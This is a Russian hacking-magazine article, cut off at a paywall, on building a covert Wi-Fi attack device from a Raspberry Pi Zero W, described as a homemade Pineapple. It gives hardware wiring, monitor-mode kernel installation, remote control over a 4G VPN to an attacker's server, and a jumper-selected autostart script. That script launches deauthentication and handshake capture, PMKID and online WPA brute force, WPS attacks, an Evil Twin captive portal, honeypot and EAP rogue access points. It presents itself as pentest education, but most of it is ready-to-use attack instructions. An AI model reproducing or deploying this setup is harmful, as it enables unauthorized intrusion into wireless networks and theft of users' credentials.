В филь­мах порой мож­но уви­деть, как ковар­ный хакер с помощью неболь­шого кар­манно­го устрой­ства раз­мером с мобиль­ный телефон взла­мыва­ет бес­про­вод­ную сеть какой‑нибудь фир­мы, про­ника­ет на ее сер­веры и кра­дет пароли. Сегод­ня мы прев­ратим­ся в героя такого филь­ма и под­робно раз­берем конс­трук­цию устрой­ства Pineapple, обла­дающе­го поис­тине фан­тасти­чес­кими воз­можнос­тями. Но самое глав­ное — его мож­но соб­рать самос­тоятель­но, и мы под­робно рас­ска­жем как.

info

Эта статья — часть серии пуб­ликаций о прак­тичес­ких при­емах взло­ма и атак с исполь­зовани­ем под­ручных устрой­ств, которые мож­но соб­рать дома. В этих матери­алах мы рас­кры­ваем прос­тые спо­собы получе­ния несан­кци­они­рован­ного дос­тупа к защищен­ной информа­ции и показы­ваем, как ее огра­дить от подоб­ных атак. Пре­дыду­щая статья серии: «Де­вайс‑невидим­ка. Встра­иваем­ся в локаль­ную сеть с помощью «невиди­мого» хакер­ско­го устрой­ства».

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

В пре­дыду­щих стать­ях рас­смат­ривались ата­ки, тре­бующие пря­мого дос­тупа к устрой­ству. Теперь речь пой­дет о дру­гих типах физичес­ких атак — по ради­ока­налу, то есть не тре­бующих непос­редс­твен­ного кон­такта с целями. А зна­чит, эти ата­ки еще опас­нее и зло­умыш­ленник ста­новит­ся еще незамет­нее. Ведь если физичес­кие ата­ки боль­ше харак­терны для внут­ренне­го наруши­теля, про­шед­шего опре­делен­ные рубежи кон­тро­ля, то физичес­кие ата­ки с при­мене­нием ради­оволн исполь­зуют внеш­ние наруши­тели, которые, воз­можно, находят­ся где‑то на рас­сто­янии и дей­ству­ют через сте­ны.

Тем не менее это не пол­ноцен­ные уда­лен­ные ата­ки, про­води­мые через интернет. Такие ата­ки так­же тре­буют от зло­умыш­ленни­ка быть рядом с целями, толь­ко «рядом» здесь озна­чает нес­коль­ко десят­ков или сотен мет­ров. Сегод­ня бес­про­вод­ные сети широко рас­простра­нены, и со вре­менем отказ от про­водов в поль­зу ради­оин­терфей­сов будет толь­ко набирать обо­роты. Глав­ная при­чина — удобс­тво. А в мире ИБ, как пра­вило, что удоб­но, то небезо­пас­но. Все бес­про­вод­ное мож­но как минимум заг­лушить, если взло­мать не получа­ется.

Тех­нология Wi-Fi пред­став­ляет для потен­циаль­ного зло­умыш­ленни­ка пер­спек­тивную повер­хность для атак. Эта тех­нология рас­простра­нена пов­семес­тно, мак­сималь­но дос­тупна и в то же вре­мя дос­таточ­но раз­нооб­разна в пла­не извес­тных атак, прос­тоте их исполне­ния и сте­пени воз­дей­ствия.

Глав­ная осо­бен­ность атак как на Wi-Fi, так и на ради­освязь в целом — огра­ничен­ный ради­ус дей­ствия. Для Wi-Fi такое огра­ниче­ние сос­тавля­ет 50–100 м. И далеко не всег­да при­нима­емый сиг­нал поз­воля­ет зло­умыш­ленни­ку занять удоб­ное мес­то, что­бы рас­положить­ся с ноут­буком. А некото­рые ата­ки и вов­се тре­буют, что­бы сиг­нал ата­кующе­го устрой­ства был луч­ше, чем у легитим­ного источни­ка. Одна­ко зло­умыш­ленник может соб­рать осо­бое устрой­ство, которое поз­волит ему выпол­нять ата­ки вез­де, где необ­ходимо, выг­лядя при этом не так подоз­ритель­но, как на сле­дующей кар­тинке.

Час­то ата­ки на бес­про­вод­ные сети зависят от обсто­ятель­ств (нап­ример, наличия кли­ентов), поэто­му их успешность опре­деля­ет еще и дли­тель­ность. Одна­ко есть воз­можность сде­лать авто­ном­ное мини­атюр­ное устрой­ство и заранее зап­рограм­мировать его на совер­шение тех или иных атак или уда­лен­но управлять им так, что зло­умыш­ленник не будет обна­ружен рядом с объ­ектом и даже не попадет под объ­екти­вы виде­ока­мер. Такой девайс мож­но незамет­но под­ложить вбли­зи целей. Мы рас­смот­рим при­мер такого устрой­ства. По сути, это ана­лог извес­тно­го готово­го решения Pineapple — аппа­рат­ной плат­формы, которая реали­зует ата­ки на бес­про­вод­ные сети.

Во­обще, попыт­ка про­ник­новения «по воз­духу» — это не прос­то ата­ка «в лоб», которую лег­ко мож­но заметить по харак­терно­му име­ни. Зачас­тую ком­пании дела­ют мно­жес­тво допол­нитель­ных бес­про­вод­ных сетей для раз­ных целей: гос­тевую, кор­поратив­ную, тех­нологи­чес­кую, сеть для VIP-кли­ентов и про­чие. Не сто­ит забывать про тес­товые и раз­нооб­разные несан­кци­они­рован­ные бес­про­вод­ные сети. Если ком­пания име­ет стро­гую полити­ку безопас­ности и зап­реща­ет выход в интернет, то количес­тво несан­кци­они­рован­ных «самопаль­ных» бес­про­вод­ных сетей, раз­дава­емых самими сот­рудни­ками, как пра­вило, велико. Так что, если бес­про­вод­ная инфраструк­тура похожа на опи­сан­ную, для зло­умыш­ленни­ка ата­ки на сети Wi-Fi такой ком­пании име­ют боль­шие шан­сы на успех, хоть и свя­заны с обширным переч­нем про­верок.

 

Реализация

Зло­умыш­ленни­ку вов­се не обя­затель­но при­обре­тать готовые дорогос­тоящие решения, он может соб­рать нуж­ное устрой­ство самос­тоятель­но. На самом деле нет ничего слож­ного в том, что­бы в эру изо­билия одноплат­ных компь­юте­ров изго­товить неболь­шое устрой­ство, которое мож­но мак­сималь­но гиб­ко нас­тра­ивать.

Ос­новные тре­бова­ния к подоб­ному устрой­ству — мини­атюр­ность, дешевиз­на, дос­тупность ком­понен­тов и прос­тота сбор­ки. Наибо­лее удач­ным решени­ем может быть Raspberry Pi Zero W — один из нем­ногих широко извес­тных одноплат­ных мик­рокомпь­юте­ров, встро­енный Wi-Fi-чип которо­го под­держи­вает режимы работы, необ­ходимые для подав­ляюще­го количес­тва атак. И в ито­ге мож­но перей­ти от того, что пред­став­лено на сле­дующем рисун­ке, к чему‑то менее замет­ному.

Аппаратное решение для атак на беспроводные сети (приметное)
Ап­парат­ное решение для атак на бес­про­вод­ные сети (при­мет­ное)
Аппаратное решение для атак на беспроводные сети (неприметное)
Ап­парат­ное решение для атак на бес­про­вод­ные сети (неп­римет­ное)

А нас­коль­ко собс­твен­ное решение может быть мень­ше готово­го, вид­но на сле­дующем рисун­ке.

Почувствуйте разницу
По­чувс­твуй­те раз­ницу

Зло­умыш­ленник, конеч­но же, может пой­ти по пути наимень­шего соп­ротив­ления и взять готовое решение. Но, учи­тывая то, что спе­цифи­ка ата­ки пред­полага­ет оставлять устрой­ство в некон­тро­лиру­емой зоне, оно ста­новит­ся в некото­рой сте­пени рас­ходным матери­алом, при­чем весь­ма недеше­вым. К тому же мини­атюр­ное устрой­ство про­ще спря­тать или даже помес­тить на дрон (об этом я рас­ска­жу в сле­дующей статье). На мой взгляд, выбор под опи­сыва­емые области при­мене­ния тут оче­виден: если устрой­ство про­падет, зло­умыш­ленник прос­то купит еще один Raspberry и прошь­ет заготов­ленный образ на кар­ту памяти, а не ста­нет при­обре­тать дорогое готовое решение и ждать, кого его дос­тавят.

Raspberry, как и боль­шинс­тво дру­гих одноплат­ных компь­юте­ров, может работать на понижен­ном нап­ряжении, что поз­воля­ет исполь­зовать с ним популяр­ные ком­пак­тные акку­муля­торы с нап­ряжени­ем 3,7 В. Такие акку­муля­торы дешев­ле и мень­ше, чем powerbank, и их мож­но лег­ко купить в спе­циали­зиро­ван­ных магази­нах. Заряжа­ются же они нап­ряжени­ем 5 В, которые мож­но взять от любого USB.

Прав­да, нес­мотря на то, что Raspberry Pi уме­ет работать от 3,3 В, внеш­ние USB-устрой­ства не получа­ют при этом обе­щан­ные им USB-стан­дартом 5 В. Поэто­му, если пла­ниру­ется исполь­зовать такие внеш­ние USB-устрой­ства, при­дет­ся все‑таки под­нять нап­ряжение до 5 В через популяр­ную пла­ту DC-DC MT3608. В резуль­тате мож­но получить минималь­ную кон­фигура­цию такого аппа­рат­ного решения, пред­став­ленную на сле­дующем рисун­ке.

Pineapple в собранном виде
Pineapple в соб­ранном виде

Ак­кумуля­тор 3,7 В, рас­положен­ный сни­зу, через повыша­ющую пла­ту DC-DC MT3608 пода­ет 5 В на вто­рой и девятый пины GPIO. Так­же к пре­обра­зова­телю нап­ряжения под­паян внеш­ний Micro-USB для удоб­ной заряд­ки акку­муля­тора и тум­блер подачи питания от акку­муля­тора. Тем не менее у Raspberry есть два собс­твен­ных USB-пор­та, зна­чит, всег­да есть воз­можность исполь­зовать обыч­ный powerbank. Схе­ма под­клю­чения к пла­те све­тоди­одов, перек­лючате­лей, а так­же под­водки питания пред­став­лена на сле­дующем рисун­ке.

Схема размещения на плате светодиодов, перемычек и питания
Схе­ма раз­мещения на пла­те све­тоди­одов, перемы­чек и питания

Ис­поль­зование дис­плея может быть рас­точитель­но с точ­ки зре­ния эко­номии акку­муля­тора, поэто­му для инди­кации про­цес­са луч­ше исполь­зовать три све­тоди­ода. Прин­цип управле­ния поведе­нием све­тоди­одов опи­сан в статье про BadUSB-ETH.

Для авто­мати­чес­кого стар­та тех или иных сце­нари­ев задей­ство­вано шесть положе­ний перемы­чек (их прог­рам­мная обра­бот­ка опи­сана ниже) и две точ­ки подачи нап­ряжения — 5 и 3,3 В. Так­же вось­мой и десятый пины — это точ­ки, на которых с помощью UART-переход­ника всег­да мож­но открыть шелл на Pineapple-устрой­стве.

Те­перь к самому глав­ному — Wi-Fi-адап­теру. Режим монито­ра встро­енной Wi-Fi-кар­ты недос­тупен «из короб­ки», но воз­можен на спе­циаль­ной про­шив­ке, и для его акти­вации тре­бует­ся соб­рать новое ядро:

wget -O re4son-kernel_current.tar.xz https://re4son-kernel.com/download/re4son-kernel-current/
tar -xJf re4son-kernel_current.tar.xz
cd re4son-kernel_4*
sudo ./install.sh

Пос­ле дол­гой уста­нов­ки появит­ся допол­нитель­ный файл про­шив­ки для Wi-Fi-чипа. Через этот файл реали­зует­ся режим монито­ра:

md5sum /lib/firmware/brcm/brcmfmac43430-sdio.*
bae7f1ba1b64cb19bb0c5433a3940405 /lib/firmware/brcm/brcmfmac43430-sdio.bin.monitor
54f6af2776997cb1ee06edf2b93ab815 /lib/firmware/brcm/brcmfmac43430-sdio.bin.original

Что­бы перек­лючить­ся меж­ду про­шив­ками, мож­но перезаг­рузить драй­вер и пере­име­новать файл про­шив­ки:

rmmod brcmfmac
cp brcmfmac43430-sdio.bin.original brcmfmac43430-sdio.bin
modprobe brcmfmac

Ре­жим монито­ра акти­виру­ется в сти­ле mac80211-сте­ка:

iw phy0 interface add mon0 type monitor
ifconfig mon0 up
airodump-ng mon0

Воз­можность авто­ном­но выпол­нять самые популяр­ные Wi-Fi-ата­ки теперь обес­печена. Тем не менее с Raspberry всег­да мож­но исполь­зовать любой внеш­ний Wi-Fi-адап­тер и допол­нитель­ные антенны. Прав­да, неп­римет­ность от это­го может пос­тра­дать. Слож­ные ата­ки не так прос­то авто­мати­зиро­вать. И потен­циаль­ному зло­умыш­ленни­ку может быть на руку уда­лен­ное управле­ние таким девай­сом.

Дос­таточ­но лег­ко сде­лать так, что­бы подоб­ный Pineapple был всег­да дос­тупен зло­умыш­ленни­ку при помощи любого 4G-модема. Сов­ремен­ный 4G-модем реали­зует­ся как вир­туаль­ная сетевая кар­та (уже зна­комая нам по статье о BadUSB-ETH), что мак­сималь­но упро­щает вза­имо­дей­ствие Pineapple с ним. Для это­го дос­таточ­но акти­виро­вать сетевой интерфейс модема:

/etc/network/interfaces
allow-hotplug eth0
auto eth0
iface eth0 inet dhcp

Для уда­лен­ного дос­тупа к Pineapple тре­бует­ся нас­тро­ить авто­запуск VPN до сер­вера, исполь­зуемо­го зло­умыш­ленни­ком в качес­тве опор­ной точ­ки:

cp your_vds.ovpn /etc/openvpn/client/vds.conf
systemctl enable openvpn-client@vds

Уп­равлять непос­редс­твен­но самим Pineapple про­ще все­го по SSH:

systemctl enable ssh.service

Те­перь зло­умыш­ленник может помес­тить такое устрой­ство в любое мес­то, где при­нима­ется сиг­нал ата­куемых точек дос­тупа или есть мно­го потен­циаль­ных жертв для атак Evil Twin. При этом мож­но управлять Pineapple с ноут­бука, сидя где‑нибудь в ком­фор­тном и безопас­ном мес­те.

Pineapple с удаленным доступом по 4G
Pineapple с уда­лен­ным дос­тупом по 4G

Нап­ример, исполь­зуя VPN-канал по 4G, зло­умыш­ленник может прос­то рас­шарить по сети бес­про­вод­ной mon-интерфейс Pineapple и реали­зовы­вать все Wi-Fi-ата­ки со сво­его ноут­бука:

pineapple> airserv-ng -p 1337 -d mon0
attacker> airodump-ng -c 1,6,11 pineapple:1337

Ес­ли 4G-канал недос­тупен, для нас­трой­ки атак в авто­ном­ном режиме всег­да мож­но под­клю­чить­ся к пла­те и получить кон­соль через UART, как про­демонс­три­рова­но на сле­дующем рисун­ке.

Прямое подключение к Pineapple
Пря­мое под­клю­чение к Pineapple
sudo minicom -D /dev/ttyUSB0 -b 115200 --color=on

Да­лее уже в при­выч­ном шел­ле, работая с ОС девай­са, мож­но выпол­нить тон­кую нас­трой­ку сце­нария ата­ки.

За­час­тую в таком виде устрой­ство завер­шает работу ОС некор­рек­тно, нап­ример если раз­рядил­ся акку­муля­тор. Поэто­му, что­бы на устрой­стве не про­пали важ­ные дан­ные, рекомен­дует­ся отклю­чить дис­ковый кеш:

/etc/fstab
PARTUUID=067e19d7-02 / ext4 defaults,noatime,sync 0 1

Под­клю­чать­ся к пла­те по UART или 4G весь­ма удоб­но, но в некото­рых слу­чаях зло­умыш­ленни­ку может пот­ребовать­ся сра­зу начать выпол­нять ата­ки. Быс­тро запус­тить пре­дус­танов­ленные сце­нарии, ори­енти­рован­ные на широкий круг целей, поз­волит джам­пер (перемыч­ка) на GPIO. Отсле­живать положе­ние джам­пера на прог­рам­мной сто­роне мож­но так:

/usr/local/bin/jmp
#!/bin/bash
exit $(raspi-gpio get $1 | awk '{print $3}' | cut -d '=' -f 2)

Те­перь, меняя положе­ние джам­пера непос­редс­твен­но перед вклю­чени­ем Pineapple, зло­умыш­ленник ука­зыва­ет запуск, нап­ример, век­тора Evil Twin или в дру­гом положе­нии — мас­совую деаутен­тифика­цию и сбор handshake (рукопо­жатия при аутен­тифика­ции). Что и в каком слу­чае исполь­зовать, зада­ется в скрип­те авто­запус­ка:

/home/pi/startup.sh
#!/bin/bash
function monitor_enable(){
iw phy0 interface add mon0 type monitor
ifconfig mon0 up
ifconfig wlan0 up
}
raspi-gpio set 7 ip pu
raspi-gpio set 10 ip pu
raspi-gpio set 11 ip pu
raspi-gpio set 23 ip pu
raspi-gpio set 25 ip pu
raspi-gpio set 27 ip pu
cd /home/pi/
time=$(date +'%H:%M:%S_%d.%m.%Y')
led green on 2> /dev/null
led yellow on 2> /dev/null
led red on 2> /dev/null
sleep 1
led green off 2> /dev/null
led yellow off 2> /dev/null
led red off 2> /dev/null
if jmp 7; then
echo "[*] wpa auth/deauth/online_brute attack (static/dynamic)"
monitor_enable
cd wpapsk
screen -dmS wpapsk -t monitor -L -Logfile "$time-wpapsk-%n.log" ./monitor.sh -c 1,6,11
#screen -r wpapsk -t deauth -X screen ./deauth.sh -b target.txt
screen -r wpapsk -t brute-wpapsk -X screen ./brute-wpapsk.sh
screen -r wpapsk -t auth -X screen ./auth.sh
screen -r wpapsk -t brute-pmkid -X screen ./brute-pmkid.sh
screen -r wpapsk -t online_brute -X screen ./wpa_brute.sh "Target Wi-Fi" passwords.txt 4
#screen -r wpapsk -t online_brute -X screen './wpa_brute-width.sh 12345678 123456789 1234567890 password'
cd -
elif jmp 11; then
echo "[*] wps attack (static/dynamic)"
cd wpapsk
screen -dmS wpapsk -t wps -L -Logfile "$time-wps-%n.log" ./wps.sh "Target Wi-Fi"
cd -
elif jmp 10; then
echo "[*] roqueap/eviltwin attack (static)"
#monitor_enable
cd eviltwin
ifconfig wlan0 10.0.0.1/24
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 80
screen -dmS eviltwin -t hostapd -L -Logfile "$time-eviltwin-%n.log" ./hostapd.sh "Corp Wi-Fi" ""
screen -r eviltwin -t dnsmasq -X screen ./dnsmasq.sh
screen -r eviltwin -t captive -X screen ./captive.sh www/
#screen -r eviltwin -t deauth -X screen ./deauth.sh -c 1,6,11
cd -
elif jmp 23; then
echo "[*] roqueap/honeypot (static)"
cd honeypot
ifconfig wlan0 10.0.0.1/24
screen -dmS honeypot -t hostapd -L -Logfile "$time-honeypot-%n.log" ./hostapd.sh "Free Wi-Fi" ""
screen -r honeypot -t dnsmasq -X screen ./dnsmasq.sh
screen -r honeypot -t attack -X screen ./attack.sh
cd -
elif jmp 25; then
echo "[*] roqueap/eap (static)"
cd eap
screen -dmS eap -t hostapd-eaphammer -L -Logfile "$time-eap-%n.log" ./hostapd-eaphammer.sh "Target Wi-Fi"
#screen -r eap -t deauth -X screen ./deauth.sh -c 1,6,11
cd -
cd -

Ход и резуль­таты атак сох­раня­ются в соот­ветс­тву­ющие фай­лы на кар­те памяти Pineapple, с наз­вани­ем, отра­жающим тип, дату и вре­мя ата­ки. Этот скрипт сле­дует лишь добавить в авто­заг­рузку:

/etc/rc.local
/bin/bash /home/pi/startup.sh &

В скрип­те startup.sh тезис­но опи­саны все ата­ки, которые рас­смат­рива­ются в этой статье.

 

Атаки на Wi-Fi

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    3 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии